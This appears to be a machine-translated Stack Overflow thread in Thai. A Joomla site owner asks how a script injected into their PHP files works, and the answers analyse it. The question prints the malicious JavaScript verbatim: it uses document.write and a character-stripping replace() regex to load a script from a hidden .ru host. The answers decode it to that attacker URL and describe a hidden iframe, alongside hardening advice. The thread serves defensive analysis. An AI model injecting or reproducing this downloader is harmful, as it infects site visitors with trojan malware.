ไซต์นี้ติดไวรัสสคริปต์ทำงานอย่างไร


99

Joomla ของฉัน! เว็บไซต์ถูกแฮ็กซ้ำหลายครั้ง มีคนจัดการเพื่อฉีดขยะต่อไปนี้ลงในสคริปต์ php ที่สำคัญ แต่ฉันไม่ได้พูดถึงการกำหนดค่า Joomla มีผู้เยี่ยมชมไซต์ไม่มากนัก (ในบางครั้งฉันกลัวว่าฉันอาจเป็นผู้เยี่ยมชมเพียงคนเดียวของไซต์นั้น ... ) และฉันไม่สนใจมากนักที่จะให้ไซต์สำรองและทำงาน ฉันจะจัดการในที่สุด

คำถามของฉันคือขยะนี้ทำงานอย่างไร ฉันมองไปที่มันและฉันไม่เห็นว่าสิ่งนี้จัดการเพื่อทำอันตรายใด ๆ ได้อย่างไร? สิ่งที่พยายามดาวน์โหลดไฟล์ PDF ชื่อ ChangeLog.pdf ซึ่งติดไวรัสโทรจันและหลังจากเปิดแล้วจะทำให้ Acrobat ของคุณค้างและสร้างความหายนะในเครื่องของคุณ มันทำอย่างไรฉันไม่รู้ฉันไม่สนใจ แต่ส่วนของสคริปต์ต่อไปนี้เรียกการดาวน์โหลดได้อย่างไร

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESETตรวจพบรหัสนี้เป็นโทรจัน JS / TrojanDownloader.Agent.NRO


41
โปรดอย่ามีใครหลงเข้าไปดูลิงก์ด้วยความอยากรู้!
DOK

1
อย่าเดินไปรอบ ๆ เพื่อพยายามคิดว่าเกิดอะไรขึ้นความมหัศจรรย์อยู่ที่การเข้ารหัส URL แบบง่ายๆและการถอดรหัส / แยกวิเคราะห์สตริงในภายหลังโดยใช้ Replace / RegEx ที่คุณเห็นในตอนท้ายของบรรทัด
DoctorLouie

13
"ชิ้นส่วนของสคริปต์" อ่านเหมือนอย่างอื่นในตอนแรก
Aditya MP

คำตอบ:


181

สังเกตการreplaceโทรหลังจากสายอักขระที่ยุ่งเหยิงขนาดยักษ์: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

มันจะลบอักขระพิเศษส่วนใหญ่เปลี่ยนเป็น URL ปกติ:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(ฉันเองเปลี่ยนhttp:ไปevil:)

โปรดทราบว่า regex สามารถทำให้ง่ายขึ้นได้ .replace(/[#$@^&()!]/ig, '')

หากคุณดูสคริปต์คุณจะเห็นว่าเป็นสคริปต์ที่เรียบง่ายมากที่แทรก IFRAME ที่ซ่อนอยู่ซึ่งมีเส้นทาง/index.php?ysจากโดเมนเดียวกัน

ฉันขอหน้านั้นใน Fiddler และไม่มีเนื้อหา


6
ฉันคิดว่าสคริปต์ที่ให้เนื้อหาของ iframe นั้นถูกสร้างขึ้นเพื่อไม่ให้เริ่มดาวน์โหลด pdf ทุกครั้ง อาจจะมีโอกาส 1 ใน 10 หรืออะไรประมาณนั้น ไม่พยายามดาวน์โหลด pdf ทุกครั้งที่รีเฟรชหน้า joomla อาจจะเป็น 1 ใน 100 ก็ได้ ... ใครจะไปรู้?
Peter Perháč

174
+1 สำหรับการกล่าวถึงว่าโค้ดสามารถเขียนได้อย่างมีประสิทธิภาพมากขึ้น :)
Pekka

8
@Pekka ฉันคิดว่ามันจงใจเขียนแบบนั้นเพื่อให้คลุมเครือมากขึ้น
Elliptical view

7
@Elipticalview แน่นอน. หากผู้เขียนกังวลเกี่ยวกับประสิทธิภาพเขาคงไม่ใช้ RegEx แทนที่เพื่อรับสตริงแบบคงที่ ฮ่า ๆ.
Dan Bechard

ฉันไม่เห็นว่าตัวปรับเปลี่ยนรูปแบบที่ไม่คำนึงถึงตัวพิมพ์เล็กและใหญ่จะทำอะไรได้ดีกับรูปแบบที่ไม่มีตัวอักษร ฉันจะใช้ไฟล์+คลาสอักขระหลังด้วยเช่นกัน ... ถ้าใช้ regex
mickmackusa

34

คำตอบเหล่านี้อาจช่วยให้คุณเข้าใจลักษณะของโค้ด JavaScript ที่เป็นอันตราย แต่สิ่งที่คุณควรมองหาคือวิธีปิดช่องโหว่ในเอ็นจิ้น Joomla เฟรมเวิร์กที่บรรจุไว้ล่วงหน้ามีแนวโน้มที่จะเกิดช่องโหว่ไม่ว่าจะโดยตั้งใจหรือไม่ตั้งใจโดยเฉพาะอย่างยิ่งเมื่อคุณพิจารณาว่าเฟรมเวิร์กเหล่านี้ได้รับการออกแบบมาเพื่อทำงานบนสภาพแวดล้อม unix, mac และ windows

งานของฉันต้องการให้ฉันเรียกใช้โดเมนแอปพลิเคชันและเฟรมเวิร์กบนเซิร์ฟเวอร์และระบบหลายประเภทสำหรับลูกค้าและตัวฉันเอง เมื่อเวลาผ่านไปฉันได้เห็นบอทมากขึ้นเรื่อย ๆ ในการรวบรวมข้อมูลระบบเหล่านี้โดยมองหาช่องโหว่ / ทางเข้าที่ทราบโดยทางเข้าประตูหลังที่สร้างโดยเฟรมเวิร์กเหล่านั้น สิ่งที่ดีเมื่อฉันใช้เฟรมเวิร์กประเภทใดก็ตามซึ่งฉันไม่ค่อยได้ทำฉันแน่ใจว่าได้เปลี่ยนชื่อส่วนใหญ่ถ้าไม่ใช่โครงสร้างไฟล์ทั้งหมดเพื่อกำจัดช่องโหว่ / ประตูหลังที่น่ารำคาญเหล่านั้น อย่างน้อยที่สุดคุณสามารถเปลี่ยนชื่อไดเร็กทอรีที่จะลบบ็อตส่วนใหญ่ออกไป แต่วิธีของฉันคือกำจัดการอ้างอิงที่ให้เบาะแสเกี่ยวกับลักษณะของเฟรมเวิร์กโดยสิ้นเชิงซึ่งรวมถึงการเปลี่ยนชื่อโครงสร้างไฟล์ทั้งหมดไม่ใช่แค่ไดเร็กทอรี เก็บแผนผังของรูปแบบการตั้งชื่อใหม่ที่สัมพันธ์กับหลักการตั้งชื่อแบบเก่าเสมอเพื่อให้การเพิ่มปลั๊กอินในกรอบงานพื้นฐานของคุณเป็นเรื่องง่าย เมื่อคุณได้รับสิ่งนี้แล้วคุณสามารถไปได้ไกลถึงการเปลี่ยนชื่อโครงสร้างไฟล์เฟรมเวิร์กทั้งหมดโดยทางโปรแกรมเพื่อให้ได้ผลลัพธ์ที่รวดเร็วขึ้นสิ่งนี้มีประโยชน์อย่างยิ่งเมื่อต้องจัดการกับลูกค้าที่ต้องสามารถอัปเดตเฟรมเวิร์กด้วยปลั๊กอินและอื่น ๆ


1
อย่าลบข้อมูลเกี่ยวกับแหล่งที่มาของกรอบงานนั่นอาจจะผิด
DoctorLouie

2
Oooo ขอบคุณ นั่นเป็นคำตอบที่ดี ไม่ได้ตอบคำถามจริงๆ แต่ยังคง +1 เนื่องจากนี่เป็นการอ่านที่น่าสนใจและมีข้อเสนอแนะที่ดี Ta
Peter Perháč

20

มันเพียงแค่แทนที่ regex บนสคริปต์ url เพื่อให้คุณ

หมายเหตุ: อย่าทำตามลิงค์ด้านล่าง (ใส่ไว้**เพื่อป้องกันเครื่องคัดลอก)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

เป็น src


ง่ายอย่างนั้นหรือ? ความดีของฉัน ... ฉันได้รับจาก SO อีกครั้ง :)
Peter Perháč

23
นั่นคือ URL สุดฮา
Jordan Running

@ Josh - แล้วแต่คุณยังไม่ได้ลองเลยบอกไม่ได้ว่าทำไม ฉันสงสัยว่าอาจมีสคริปต์ที่เป็นอันตรายในหน้านี้ คุณสามารถทำได้โดยยอมรับความเสี่ยงเอง!
Russ Cam

8

ใช้ฟังก์ชันการแทนที่เพื่อแทนที่อักขระขยะโดยใช้ regex ไม่มีอะไรผิดปกติกับรหัส:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

สคริปต์โหลดจาก

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

และสคริปต์นั้นโหลดiframeจากการมองเห็นhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

เมื่อคุณอ่านข้อมูลทั้งหมดคุณจะพบว่ามันเป็นสตริงตามด้วยคำสั่งแทนที่


2

ฉันมีสคริปต์เดียวกันบนหน้าของฉันในไฟล์ index *. * ฉันเขียนโค้ดของตัวเองใน PHP คำถามของฉันไม่ใช่วิธีการทำงาน แต่ฉันกำลังถามว่าจะป้องกันอย่างไรถ้าคุณรู้แบ็คดร็อปของพวกเขา ฉันเปลี่ยนแบบฟอร์มและอ่าน $ _POST และ $ _GET โดยแทนที่ <> และ http: // เป็นต้น


2

สองเซ็นต์ของฉัน คุณ / คุณสามารถติดตั้งเครื่องมือสำรองข้อมูล Joomla เช่น Joomlapack ได้หรือไม่?

ฉันได้ตั้งค่าให้ทำงานผ่านสคริปต์ CHRON เพื่อให้สินค้ามีประโยชน์ในกรณีที่พวกมิจฉาชีพเข้ามาหลอกลวง

คุณใช้งาน Joomla รุ่นใดอยู่

เวอร์ชัน 1.0.X จะไม่ได้รับการอัปเดตอีกต่อไปและอายุก็เริ่มแสดงแล้ว คุณเป็นหนี้ตัวเองในการสำรองข้อมูลและวางแผนที่จะอัปเกรดเป็น 1.5 และคาดหวังสิ่งมหัศจรรย์ของ 1.6

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.